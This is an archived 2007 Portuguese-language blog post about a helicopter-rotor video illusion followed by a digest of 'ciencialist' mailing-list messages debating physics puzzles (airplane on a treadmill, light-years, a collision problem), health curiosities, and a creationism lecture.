<http://100nexos.com/arquivo/163#respond>

V�deo extraordin�rio de uma nova tecnologia secreta que permite que
helic�pteros pairem no ar atrav�s da acelera��o i�nica do ar atrav�s dos
rotores, dando todo um novo sentido aos avistamentos de helic�pteros negros?
Em verdade � apenas um v�deo viral criado em computador para promover o novo
filme dos Transformers <http://www.ceticismoaberto.com/news/?p=889>� ou n�o!
Falando s�rio � apenas um efeito �tico em que o movimento dos rotores � que
sim giram muito rapidamente � est�o em sincronia com a taxa de captura de
imagens da c�mera de v�deo. O efeito � muito similar � Fonte do
Tempo<http://100nexos.com/arquivo/120>comentada aqui em 100nexos
anteriormente. Mais um v�deo do helic�ptero
pairando no ar aqui<http://www.youtube.com/watch?v=HZJJK-XAnso&mode=related&search=>
.
� curioso que este efeito t�o simples n�o tenha sido mais usado em filmes.
V�rios objetos poderiam parecer pairar no ar sem o uso de fios e afins
simplesmente sincronizando o movimento de h�lices, rotores e afins com a
taxa de captura de imagens da c�mera.
[via haha.nu <http://haha.nu/amazing/ufo-helicopter/>]

*Veja tamb�m:*
CeticismoAberto.com atualizado 03/04/2007
<http://100nexos.com/arquivo/117>UFOLOGIA
Martin Kottmeyer"Gauche Encounters": ...


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SUBJECT: Re: [ciencialist] P/ Renato - Re: Balanço do avião
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 06/06/2007 00:22

Olá, Ricardo!
Espero que vc já tenha se cansado raciocinar sobre as possibilidades do
problema. De acordo com as memórias de Einstein, é nessa etapa - depois de
dias pensando sobre uma questão ou problema - que as soluções aparecem com
clareza. Quem sabe agora o entendimento chega fácil.
Veja meus comentários no após os seus textos, após JR1, OK?
...........................................

----- Original Message -----
From: <ricardos@infolink.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Wednesday, May 23, 2007 2:22 PM
Subject: Re: [ciencialist] P/ Renato - Re: Balanço doaviã o - Não to
entendendo nada


>> Ricardo escreveu: [ A medida da velocidade do avião *não pode ser feita
>> em
>> relação à esteira*. E ponto. ]
>> ...............................................
>
>> E por que não, Ricardo? O problema considera que há um dispositivo que
>> sincroniza a velocidade do avião à da esteira, em sentidos contrários.
>> Isso
>> faz com que qualquer movimento *infinitesimal* do avião à frente, *em
>> qualquer velocidade*, provoque um movimento igual na esteira em sentido
>> contrário(para trás),
>
> Ok, vamos tentar evitar a continuação deste claro problema de comunicação.
>
> Este dispositivo que vc menciona, que coloca a velocidade da esteira com o
> mesmo módulo da
> velocidade do avião, mas em sentido contrário, precisa de um mesmo
> referencial para medir ajustar as
> velocidades. Se o referencial for o chão, enquanto o avião se desloca em
> velocidade v (ex: 200km/h)
> a esteira se desloca com velocidade -v (ex: -200km/h), em relação ao chão.
> O avião pode decolar sem
> problemas. Se o refencial estiver na esteira, ou no avião o problema não
> faz sentido.
JR1 - Parece-me que o que está emperrando é o monopólio do referencial
único: o chão. Vamos detalhar. Veja *o que de fato ocorre* e escolha o
referencial adequado para cada análise que se faz necessária à solução do
problema. As duas principais interrelações são: avião e a esteira; avião e o
ar.
Passo 1 - O avião está estacionado sobre a esteira, ambos em velocidade
zero.
Passo 2 - O avião aciona as turbinas e iniciando o deslocamento para a
direita, *sobre a esteira*.
Passo 3 - *Simultaneamente*, ao mesmo tempo, a esteira também se desloca
para a esquerda na mesma velocidade.
É aqui onde os neurônios dão o nó...
Passo 4 - A medida de velocidade do avião não pode ser feita em relação ao
chão visto que seu movimento sobre a esteira, para a direita, é anulado pelo
deslocamento igual da esteira, para a esquerda. Assim, a medida da
velocidade do avião é feita em relação à esteira, visto que em relação ao
chão e ao ar ele estará praticamente parado, pois a distância que ele
percorreria acelerando para a direita *é anulada* pelo deslocamento da
esteira para a esquerda. Essa velocidade do avião pode ser medida através do
giro das rodas do avião ou por aparelhos óticos utilizados para medir
velocidade sobre qualquer piso refletor, utilizados pelas revistas
especializadas em automobilismo. Não quer dizer que o avião seja um carro
movido a turbina, mas nesse caso, enquanto o avião não levanta vôo a medição
de velocidade pode ser feita como se fosse um veículo se deslocando sobre
uma pista móvel.
>
>> Quanta agressividade rapaz :)
>> JR - Não há agressividade, Ricardo, apenas fiz um posicionamento
>> assertivo
>> da questão. Por favor, gostaria que relesse o que escrevi e apontasse o
>> que
>> lhe agrediu...
>
> Agora vc está bem mais educado. Obrigado.
>
>> O problema é que realmente é difícil me calar quando vejo que vc continua
>> patinando nos mesmos erros (viu, não precisei nem ser agressivo para
>> falar
>> isso).
>> JR - Sou eu quem está *patinando nos mesmos erro* ou vc que não está
>> conseguindo perceber os fundamentos das minhas explicações?
>
> Eu vejo erros claros no seu raciocínio. Então, vamos entender os seus
> erros:
>
>> > 1. Quando a medida da velocidade do avião for feita por GPS, está
>> > considerando a terra-chão como referencial. Nesse caso o avião acelera
>> > e
>> > levanta vôo com o *dobro da velocidade da esteira*, medida em relação à
>> > terra-chão...
>>
>> Ok, concordamos.
>> JR - "Concordamos", mas o avião está com o *dobro da velocidade* da
>> esteira,
>> o que não atende o enunciado do problema.
>
> Com o GPS a velocidade do avião será medida em relação ao chão. Então a
> esteira deverá ter uma
> velocidade de mesmo módulo e sentido contrário (em relação ao chão, é
> claro). O avião decola sem
> problemas e o enunciado é atendido. Veja bem, o avião não está com o dobro
> da velocidade da esteira.
> Ele tem a mesma velocidade da esteira em módulo, mas com sentido
> contrário, como solicitado no
> problema.
JR1 - Se a velocidade do avião for medida com GPS ou medidor da velocidade
do ar tipo tubo Pitot, já dissemos anteriormente que o avião alça vôo quanto
atinge velocidade de sustentação... Mas - e aí está o senão, erro ou
conflito dessa solução com o enunciado do problema - o avião estará com *o
dobro da velocidade* quando esta for medida em relação à esteira móvel...

>> > 2. Se a medida da velocidade do avião for feita pela velocidade do ar
>> > fluindo contra o avião, ele também alça vôo com uma velocidade
>> > *em torno de dobro da velocidade da esteira*, a depender das
>> > correntes de ar... Está considerando como referência a massa de
>> > ar em movimento.
>>
>
> A questão é, se a velocidade do avião for medida em relação ao ar, a
> velocidade da esteira também
> será medida em relação ao mesmo referencial. Apenas para tentar
> simplificar um pouco para vc, se não
> houver vento, por exemplo, teremos o mesmo caso do referencial fixo no
> chão. Mas se houver vento o
> resultado final não muda em nada. O avião decola, sem ferir o problema.
JR1 - Se a velocidade do avião for medida em relação ao ar e não há vento ou
o vento se desloca na mesma velocidade e direção do avião de modo que não há
nenhuma marcação de velocidade dessa interrelação, acontece um outro arranjo
interessante a ser analisado: o avião acelera e percorre a esteira até
alcançar altas velocidade *em relação ao chão*, porém - esse é um importante
porém - como o aparelho que mede a velocidade do avião *em relação ao ar*
marca zero, e a esteira também não se movimenta em sentido contrário. Nesse
caso o avião não alça vôo por não haver contrapressão do ar fluindo em sua
fuselagem para lhe dar a sustentação necessária.

>>
>> > 3. Se a medida da velocidade do avião for feita em relação à esteira,
>> > se
>> > deslocará sobre a esteira a mesma distância que a esteira se desloca
>> > para
>> > trás com o avião, infinitesimalmente, quando o avião acelera os
>> > motores-turbinas, conforme um sistema que mantém a esteira com a *mesma
>> > velocidade do avião* em sentido contrário. Nesse caso o avião permanece
>> > praticamente parado em relação à massa de ar, não terá sustentação para
>> > alçar vôo...
>
>
>> A medida da velocidade do avião *não pode ser feita em relação à
>> esteira*. E
>> ponto. Não faz nenhum sentido o enunciado falar de duas velocidades (do
>> avião e da esteira) se não estiver falando de um único referencial para o
>> problema, a não ser que, em algum problema específico isto fosse
>> especificado no enunciado. Por isso não podemos medir a velocidade do
>> avião
>> em relação à esteira. [ ... ]
>> JR - Observe que é isso o que ocorre em qualquer decolagem! O avião
>> acelera
>> sobre a pista-Terra *que também está em movimento*, carregando o avião,
>> enquanto ele estiver em contato com a pista-Terra... Só que o movimento
>> da
>> Terra não está *sincronizado* com o do avião, como define o enunciado do
>> nosso problema.
>> Veja a realidade... O avião se desloca sobre a esteira e a esteira sob o
>> avião...
>> A distância percorrida pelo avião enquanto está em contato com a
>> esteira-pista
>> é a mesma percorrida pela esteira, em sentido contrário. Isso significa
>> que
>> por
>> mais que o avião acelere rolando sobre a esteira ele praticamente não sai
>> do
>> lugar em relação à massa de ar que o rodeia... Logo, não há sustentação
>> para
>> que ele alce vôo... Qualquer que seja sua velocidade, que é "anulada" em
>> relação ao ar e ao chão, pelo movimento da esteira em sentido contrário.
>
> A única forma de vc entender o seu erro aqui, pelo jeito, é responder
> antes a pergunta: qual é o
> referencial do seu problema? Se você escolheu 2 refenciais diferentes para
> medir suas velocidades
> (um para cada velocidade), isso não faz nenhum sentido. Primeiro responda:
> qual o refencial do seu
> problema (a-chão, b-esteira, c-vento, d-outro/especificar qual). A partir
> daí continuamos, ok?
JR1 - Como já exposto acima, a principal interrelação é entre avião e
esteira. A secundária é avião e ar considerada para avaliar se o avião vôa
ou não.

>> Isso é a realidade, o resto é diversionismo, medo, desfaçatez, presunção,
>> tolice, infantilidade, "esperteza" ou preguiça que impedem de raciocinar
>> com liberdade e lucidez... E até fugir do problema para não se expor.
>
> E lá vem mais agressividade. Já pensou em fazer Yoga?
JR1 - É o que tenho observado nos diversos comentários, uma presunção de
sapiência que impede de observar o que de fato ocorre quando a medida da
velocidade do avião é feita em ralação à esteira... O comentário feito logo
acima só vai atingir ou agredir quem estiver enquadrado nelas.

>> > Por favor, não esqueça de raciocinar um pouco antes de qualquer
>> > coisa...
>>
>> Vou tentar lembrar disso...
>> JR - Não tenha pressa nessa etapa. O entrelaçamento dos movimentos e seus
>> referencias precisam ser assimilados com tranqüilidade e clareza.
>>
>
> Realmente é preciso muita paciência, para prosseguir nesta discussão com
> vc.
JR1 - Não só de paciência, considerada uma importante virtude, mas também de
muitas outras virtudes que aprendemos com o exercício do diálogo honesto e
franco, sem a decisão a priori de desqualificar e desconsiderar o que o
outro escreve tentando explanar e/ou esclarecer.
>
> Abs,
> Ricardo

Abraços
José Renato



SUBJECT: Novo arquivo carregado em ciencialist
FROM: ciencialist@yahoogrupos.com.br
TO: ciencialist@yahoogrupos.com.br
DATE: 06/06/2007 03:26


Olá,

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Descrição : Cristianismo, darwinismo, marxismo...

Você pode acessar o arquivo pela URL:

http://br.groups.yahoo.com/group/ciencialist/files/Contribui%80%A0%A6%E7%F5es%20crist%80%A0%A6%E3s%20ao%20racismo%20e%20a%20outras%20alofobias.doc

Para saber mais sobre compartilhamento de arquivos no grupo, leia:

http://help.yahoo.com/help/br/groups/files

Atenciosamente,

manuelbulcao <manuelbulcao@uol.com.br>






SUBJECT: Cristianismo, darwinismo, marxismo...
FROM: Manuel Bulcão <manuelbulcao@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 06/06/2007 03:53

Olá,

Andei lendo as últimas mensagens da C-List. O nível está muito baixo,
os assuntos e "polêmicas" são de uma insignificância que beira o zero
redondo. Muito bate-boca, discussões circulares, abobrinhas!

Por isso, para arejar o ambiente, postei na seção Arquivo da C-list
um texto de minha autoria, intitulado "Contribuições cristãs ao
racismo e a outras alofobias". Vejam:

http://br.groups.yahoo.com/group/ciencialist/files/Contribui%80%A0%A6%
E7%F5es%20\crist%80%A0%A6%E3s%20ao%20racismo%20e%20a%20outras
20alofobias.doc

O texto permanecerá na lista até segunda-feira da próxima semana. Não
posso deixá-lo acessível on-line indefinidamente, pois que se trata
de um dos capítulos - o terceiro - de um novo ensaio que estou
terminando.

Amplexos,
Manuel Bulcão
PS: Aproveito para agradecer aos bons pitacos do Takata. O
termo "alofobia", foi ele quem inventou.




SUBJECT: Re: [ciencialist] Re: De cabeça pra baixo.
FROM: Gil <nanolink01@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 06/06/2007 09:41

Valeu pelas elucidações, Homero. Tem muita coisa aí que eu nem tinha
imaginado, mas a "suspeita" principal era mesmo em relação á gravidade e o
sistema circulatório. Dos outros possiveis efeitos eu nem tinha me tocado.

Melhor que isso, só se eu mesmo fizesse a experiencia (só não faço porque tô
com preguiça!)

Gil

Em 02/06/07, oraculo333 <oraculo@atibaia.com.br> escreveu:
>
> Olá Gil
>
> Gil: "Taí uma boa previsão: fundarão uma seita de morcegoterapia."
>
> Nem brinca..:-) É bem capaz de acontecer e vai encher de gente
> alegando que isso "mudou sua vida", curando de unha encravada a
> câncer..:-)
>
> Se as pessoas podem acreditar, a esta altura, que secreções tóxicas
> que o organismo, em milhões de anos, aprendeu a retirar do corpo, são
> benéficas se reingeridas (urinoterapia), podem acreditar em qualquer
> coisa.
>
> De todo modo, os ajustes do organismo, qualquer organismo, a um
> ambiente devem ser considerados em mudanças, como dormir de cabeça
> para baixo. Nossas veias, por exemplo, tem sistemas de válvulas que
> impedem o fluxo contrário a direção correta do sangue. Como não há um
> coração para bombear sangue venoso das pernas de volta ao coração (por
> exemplo), as solas dos pés tem tecido esponjoso que cumpre essa função
> enquanto caminhamos ou nos movemos.
>
> Não sei de estudos sobre ficar de ponta cabeça, mas astronautas tem
> sérias dificuldades circulatórias devido a ausência de gravidade.
> Penso que o mesmo deve ocorrer se alguém se mantiver de ponta cabeça
> por muito tempo.
>
> Isso facilitaria o fluxo de sangue venoso, embora em pense que
> sobrecarregue o coração, já que não haverá como controlar a pressão
> (não há válvulas que controlem esse fluxo), além de maior esforço para
> bombear sangue arterial, pelo mesmo motivo (a gravidade pressionará
> este sangue de volta, sem válvulas de controle). Se isso se repetir na
> cabeça (a questão de válvulas corretamente posicionadas), não deve ser
> bom de toda forma..:-)
>
> Outras questões seriam o conteúdo do estômago, que ficaria em posição
> inabitual (talvez uma gastrite ou forte azia..:), dores de cabeça
> (pressão nas artérias é uma das causas principais de dor de cabeça) e
> mesmo desconforto e dores abdominais, pois os órgãos internos ficariam
> "pendurados" de forma não natural (já não são muito corretamente
> posicionados, pois nossa evolução de quadrupede para bípede não foi
> muito boa..:-).
>
> Um abraço.
>
> Homero
>
>
>
>
> ##### ##### #####
>
> Página de apoio
> http://www.ciencialist.com
>
>
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>
>
>


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: Calculo de Colisao
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 06/06/2007 10:04

Olá Luiz Rodrigo,

o Takata está no caminho certo colocando 'dicas' preciosas para a resolução da questão, sem entretanto fornecer de imediato a resposta (ou avaliação) final.
Vou acrescentar duas 'dicas':
1- lei de Coulomb-Morin para o atrito entre superfícies secas;
2- lei de Torricelli para o m.u.v.

[]'
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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "luiz rodrigo" <baygonbr@yahoo.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: terça-feira, 5 de junho de 2007 20:17
Assunto: Re: [ciencialist] Re: Calculo de Colisao


Pestiou a lebre entao!

rmtakata <roberto.takata@bol.com.br> escreveu: --- Em ciencialist@yahoogrupos.com.br, luiz rodrigo <baygonbr@...>
> Parte 1: Acho que quem faz B para é a Forca de atrito.

Ok. E qual a intensidade dela?

(Acho q vai faltar o dado da velocidade do carro A depois do impacto.)

[]s,

Roberto Takata





SUBJECT: Re: [ciencialist] Re: A resposta: E= 2,75536 X10^(-11) Joules
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 06/06/2007 10:34

Olá Takata!

Takata >>> Cadê a resolução?

--- Cadê o carro dividido sem separar as partes?



sinceramente
ferrari

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SUBJECT: Espaço-de-tempo?
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: y <ciencialist@yahoogrupos.com.br>
DATE: 06/06/2007 10:59

Olá lista!

Tenho uma pergunta. Não é jogo de xadrez não, é
investigação sobre o assunto. Quem puder colaborar e
dizer algo a respeito, agradeço desde já.

Eis a pergunta:

Em que difere uma escala de tempo-luz de outra escala
apenas de espaço? Por exemplo, se do ponto A até o
ponto B, podemos medir em km, mas também podemos medir
em Anos-luz, em que uma escala difere da outra? O que
uma tem que a outra não tem?


sinceramente
ferrari

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SUBJECT: Re: Espaço-de-tempo?
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 06/06/2007 11:18

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> Em que difere uma escala de tempo-luz de outra escala
> apenas de espaço?

Em nada. Ano-luz, segundo-luz é uma medida de espaço. Luz se refere à
velocidade da luz no vácuo. Como velocidade é a razão entre o
deslocamento e o tempo q um corpo leva para se deslocar, tempo vezes
velocidade dá a distância.

> Por exemplo, se do ponto A até o
> ponto B, podemos medir em km, mas também podemos medir
> em Anos-luz, em que uma escala difere da outra? O que
> uma tem que a outra não tem?

É uma simples questão de conveniência de escala. Vc não usa toneladas
para medir a massa de um grão de feijão - daria um número muito
pequeno. Do mm modo como não usa gramas para medir a massa de um
Boeing 777 - daria um número muito grande.

Um ano-luz tem quase 10 trilhões de km. Medir a distância entre São
Paulo e Rio de Janeiro levaria a frações de trilionésimos de ano-luz.

[]s,

Roberto Takata



SUBJECT: Re: A resposta: E= 2,75536 X10^(-11) Joules
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 06/06/2007 11:21

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> --- Cadê o carro dividido sem separar as partes?

http://br.groups.yahoo.com/group/ciencialist/message/63128
http://br.groups.yahoo.com/group/ciencialist/message/63045

Agora, cadê a resolução? O seu amiguinho q resolveu o problema pra vc
não passou como ele fez isso?

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: Calculo de Colisao
FROM: luiz rodrigo <baygonbr@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 06/06/2007 12:01

Boas dicas, porem houve uma alta dissipacao de energia e o atrito entre meus neuronios nao deixaram chegar a abstracao da resolucao.

att

Luiz

Luiz Ferraz Netto <leobarretos@uol.com.br> escreveu:
Olá Luiz Rodrigo,

o Takata está no caminho certo colocando 'dicas' preciosas para a resolução da questão, sem entretanto fornecer de imediato a resposta (ou avaliação) final.
Vou acrescentar duas 'dicas':
1- lei de Coulomb-Morin para o atrito entre superfícies secas;
2- lei de Torricelli para o m.u.v.

[]'
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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
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-----Mensagem Original-----
De: "luiz rodrigo" <baygonbr@yahoo.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: terça-feira, 5 de junho de 2007 20:17
Assunto: Re: [ciencialist] Re: Calculo de Colisao

Pestiou a lebre entao!

rmtakata <roberto.takata@bol.com.br> escreveu: --- Em ciencialist@yahoogrupos.com.br, luiz rodrigo <baygonbr@...>
> Parte 1: Acho que quem faz B para é a Forca de atrito.

Ok. E qual a intensidade dela?

(Acho q vai faltar o dado da velocidade do carro A depois do impacto.)

[]s,

Roberto Takata






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SUBJECT: Re: [ciencialist] Re: Espaço-de-tempo?
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 06/06/2007 12:40

Olá Takata!

Takata >>> Um ano-luz tem quase 10 trilhões de km.
Medir a distância entre São Paulo e Rio de Janeiro
levaria a frações de trilionésimos de ano-luz.

--- Por favor, me corrija se estiver errado e onde
estiver errado. Assumindo que a distancia SP-RJ é 600
km. Assumindo a velocidade do meu carro (ferrari) é de
100 km/h. Posso dizer que a distancia SP-RJ é 6
horas-ferrari, é isto? Senão for, o que é? Entende a
relação que estou investigando?


grato
ferrari



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SUBJECT: Re: [ciencialist] Re: A resposta: E= 2,75536 X10^(-11) Joules
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 06/06/2007 12:49

Olá Takata!

Takata >>> O seu amiguinho q resolveu o problema pra
vc não passou como ele fez isso?

--- Será que houve ai um ligeira alteração de humor no
programa de jogar xadrez?!

--- Takata, sua resposta é um simples calculo, uma
operação de fisiques, eis porque ai está resposta em
joules, como pediu. Agora, quanto a divisão do carro,
sua afirmação vai contra a realidade, eis porque suas
respostas são impossiveis.



sinceramente
ferrari







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SUBJECT: Re: Calculo de Colisao
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 06/06/2007 12:50

--- Em ciencialist@yahoogrupos.com.br, luiz rodrigo <baygonbr@...>
> Boas dicas, porem houve uma alta dissipacao de energia e o atrito
> entre meus neuronios nao deixaram chegar a abstracao da resolucao.

É só ir por etapas. Calcule agora o valor da força de atrito.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Palestra sobre criacionismo na UTFPR, Curitiba
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 06/06/2007 13:25

Minhas observações (mais extensas do que o bom senso recomendaria) sobre a
palestra do Eduardo Lütz estão disponíveis em:
http://alvaroaugusto.blogspot.com/2007/06/sobre-palestra-de-eduardo-ltz-cincia-f.html

[ ]s

Alvaro Augusto


----- Original Message -----
From: "André L F S Bacci" <andrebacci.listas@gmail.com>
To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, May 28, 2007 5:08 PM
Subject: Re: [ciencialist] Palestra sobre criacionismo na UTFPR, Curitiba


> Em 26/05/07, Alvaro Augusto (L) <alvaro@lunabay.com.br> escreveu:
> > Preciso de ajuda para rebater os argumentos dele, caso haja espaço para
> > perguntas. Em tempo, a palestra é promovida pelo Sindicato dos
> > Professores
> > da UTFPR, não pela reitoria ou por algum departamento, e até o momento
> > não
> > sei se conta com o apoio institucional. Espero que não.

Mas se seu resumo é correto, ele está "só reclamando" e não colocando
nada no lugar. Mas na pagina dele, não tal ligação sobre a teoria da
evolução ser religião, mas mais a questão a reclamação reducionista.

Bem, ao útil. Hun... O pessoal do The Panda's Thumb tem enorme
experiência em debates do tipo, tanto ao vivo como na net,
principalmente contra o pessoal mais falido Design Inteligente. Vale a
pena investir um bom tempo nos posts de lá, e de maneira instrutiva,
nos comentários.

E se o rapaz ai realmente for pela linha de "evolução é religião",
recomendo fortemente a leitura dessa resposta em particular.
http://www.pandasthumb.org/archives/2007/05/is_creationism.html#comment-179277

Na mesma linha, um antigo comentarista chamado Lenny Frank (ou Flank)
tinha também uma página no geocites com muito material a respeito. Não
consigo localizar atrás do proxy que estou (blogs e geocities, no
way), mas não deve ser impossível de encontrar.

Por último, mas de nenhuma maneira menos importante, os belíssimos
materiais do talkreason.org, em especial o imprecindível Index to
Creationist Claims

http://www.talkorigins.org/indexcc/

Em especial
http://www.talkorigins.org/indexcc/list.html#CA100-CA499

No detalhe do especial
http://www.talkorigins.org/indexcc/CA/CA220.html
http://www.talkorigins.org/indexcc/CA/CA612.html
e
http://www.talkorigins.org/indexcc/CA/CA610.html

Recomendo levar impresso, e se possível, traduzir.

André




SUBJECT: Re: Espaço-de-tempo?
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 06/06/2007 13:26

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> --- Por favor, me corrija se estiver errado e onde
> estiver errado. Assumindo que a distancia SP-RJ é 600
> km. Assumindo a velocidade do meu carro (ferrari) é de
> 100 km/h. Posso dizer que a distancia SP-RJ é 6
> horas-ferrari, é isto? Senão for, o que é? Entende a
> relação que estou investigando?

Sim, 6 horas-carro-do-ferrari (assumindo-se velocidade constante).
Como dito, como velocidade V é igual a variação de posição dS dividido
pela variação do tempo dt:
V = dS/dt
dS = V.dt

Qto à relação q *vc* está investigando não posso ter certeza, não faço
muita idéia do q passa pela sua cabeça.

[]s,

Roberto Takata



SUBJECT: Re: A resposta: E= 2,75536 X10^(-11) Joules
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 06/06/2007 13:32

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> Takata >>> O seu amiguinho q resolveu o problema pra
> vc não passou como ele fez isso?
>
> --- Será que houve ai um ligeira alteração de humor no
> programa de jogar xadrez?!

Não. Só acho q vc não deveria enrolar para esperar q seu amigo lhe
passe a resolução. Se vc soubesse, logicamente teria enviado já a
resolução - e teria enviado bem antes na verdade.

> --- Takata, sua resposta é um simples calculo, uma
> operação de fisiques, eis porque ai está resposta em
> joules, como pediu.

Eu pedi a resolução. A resposta de fato é simples, mas a demora foi em
função de vc desconhecer como usar a fórmula. E a demora de apresentar
a resolução se dá pelo mm motivo.

> Agora, quanto a divisão do carro, sua afirmação vai contra a
> realidade, eis porque suas respostas são impossiveis.

Se fosse impossível ninguém trocava pneu. Dei outros exemplo, do
quarto, da piscina, da caixa de sapatos.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: Calculo de Colisao
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 06/06/2007 13:42

Vou trocar em miúdos:

1- Fat = u.N
2- Vf² = Vi² + 2.a.(Sf - Si)

e, nova dica: coeficiente de restituição.

[]'
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Luiz Ferraz Netto [Léo]
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===========================
-----Mensagem Original-----
De: "luiz rodrigo" <baygonbr@yahoo.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quarta-feira, 6 de junho de 2007 12:01
Assunto: Re: [ciencialist] Re: Calculo de Colisao


Boas dicas, porem houve uma alta dissipacao de energia e o atrito entre meus neuronios nao deixaram chegar a abstracao da resolucao.

att

Luiz

Luiz Ferraz Netto <leobarretos@uol.com.br> escreveu:
Olá Luiz Rodrigo,

o Takata está no caminho certo colocando 'dicas' preciosas para a resolução da questão, sem entretanto fornecer de imediato a resposta (ou avaliação) final.
Vou acrescentar duas 'dicas':
1- lei de Coulomb-Morin para o atrito entre superfícies secas;
2- lei de Torricelli para o m.u.v.

[]'
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Luiz Ferraz Netto [Léo]
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-----Mensagem Original-----
De: "luiz rodrigo" <baygonbr@yahoo.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: terça-feira, 5 de junho de 2007 20:17
Assunto: Re: [ciencialist] Re: Calculo de Colisao

Pestiou a lebre entao!

rmtakata <roberto.takata@bol.com.br> escreveu: --- Em ciencialist@yahoogrupos.com.br, luiz rodrigo <baygonbr@...>
> Parte 1: Acho que quem faz B para é a Forca de atrito.

Ok. E qual a intensidade dela?

(Acho q vai faltar o dado da velocidade do carro A depois do impacto.)

[]s,

Roberto Takata






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SUBJECT: Re: [ciencialist] Re: A resposta: E= 2,75536 X10^(-11) Joules
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 06/06/2007 13:57

Ferrari, a matéria é descontínua. Há muito mais vácuo perfeito dentro de vc do que matéria. Aliás, não existe "vc"; onde "vc" começa e onde termina? Se pudéssemos retirar todo os espaços vazios (vácuo) do seu corpo eu, seriamente, não saberia dizer o que restaria.
O que vc acha que existe entre as moléculas de ar? e entre o núcleo e as camadas eletrônicas?
Imagine um balão de aniversário cheio de ar --- coloque ligeiramente esse balão dentro de um forno e retire quando o volume dobrar. Vc separou as partes materiais sem 'separar' nada! O balãozão continua inteiro e tem suas partes separadas! E, ninguém aumentou o vazio ... vazio continua vazio!

[]'

que perda de tempo! Mas, vá lá mensagem ... vai!

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
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-----Mensagem Original-----
De: "Ferrari" <emailferrari@yahoo.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quarta-feira, 6 de junho de 2007 12:49
Assunto: Re: [ciencialist] Re: A resposta: E= 2,75536 X10^(-11) Joules


Olá Takata!

Takata >>> O seu amiguinho q resolveu o problema pra
vc não passou como ele fez isso?

--- Será que houve ai um ligeira alteração de humor no
programa de jogar xadrez?!

--- Takata, sua resposta é um simples calculo, uma
operação de fisiques, eis porque ai está resposta em
joules, como pediu. Agora, quanto a divisão do carro,
sua afirmação vai contra a realidade, eis porque suas
respostas são impossiveis.

sinceramente
ferrari





SUBJECT: Re: [ciencialist] Re: A resposta: E= 2,75536 X10^(-11) Joules
FROM: "Jeff" <jeff@jeff.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 06/06/2007 15:25

>
>Ferrari, a matéria é descontínua. Há muito mais vácuo
>perfeito dentro de vc do que matéria. Aliás, não existe
>"vc"; onde "vc" começa e onde termina?
>

Uma pergunta (sem muito a ver com o assunto): Pode existir algum lugar
dentro do universo onde não existe qualquer campo? Nem eletromagnético, nem
gravitacional... Um vazio absoluto... É possível? Eu entendo que não, que um
vazio absoluto seja um limite do nosso universo.

[]´,s
Jeff.



SUBJECT: P/ Alvaro - Re: Palestra sobre criacionismo na UTFPR, Curitiba
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 06/06/2007 16:02

Olá Alvaro

Fantástico texto, equilibrado, relevante, preciso e muito, muito
instrutivo..:-) E concordo com sua sugestão final, sobre uma palestra
(ou talvez outro texto seu já ajudaria bastante) para esclarecer a
confusão de terminologia e dos conceitos citados.

Mas penso que isso é exatamente o que tentam evitar os criacionistas,
para jogar dentro do mesmo engano a evolução, bem evidenciada até para
os parâmetros mais rigorosos, e fenômenos mais difíceis de determinar,
como a abiogenese. Não penso que seja "por engano" ou descuido que
essa confusão é feita, e não penso que o palestrante não soubesse (ou
tivesse esquecido) dessas diferenças, penso que é tudo muito bem
calculado, estudado, como as equações complexas, que ninguém
entenderia, e que embora não tenham nada a ver com o assunto, dão a
impressão, pelo peso que carregam, que o resto dos argumentos é também
complexo e científico.

É uma estratégia comum, apresente dados e alegações complexas o
bastante para que o interlocutor não as compreenda, e isso vai inibir
as refutações de argumentos mais simplórios, que ele poderia fazer
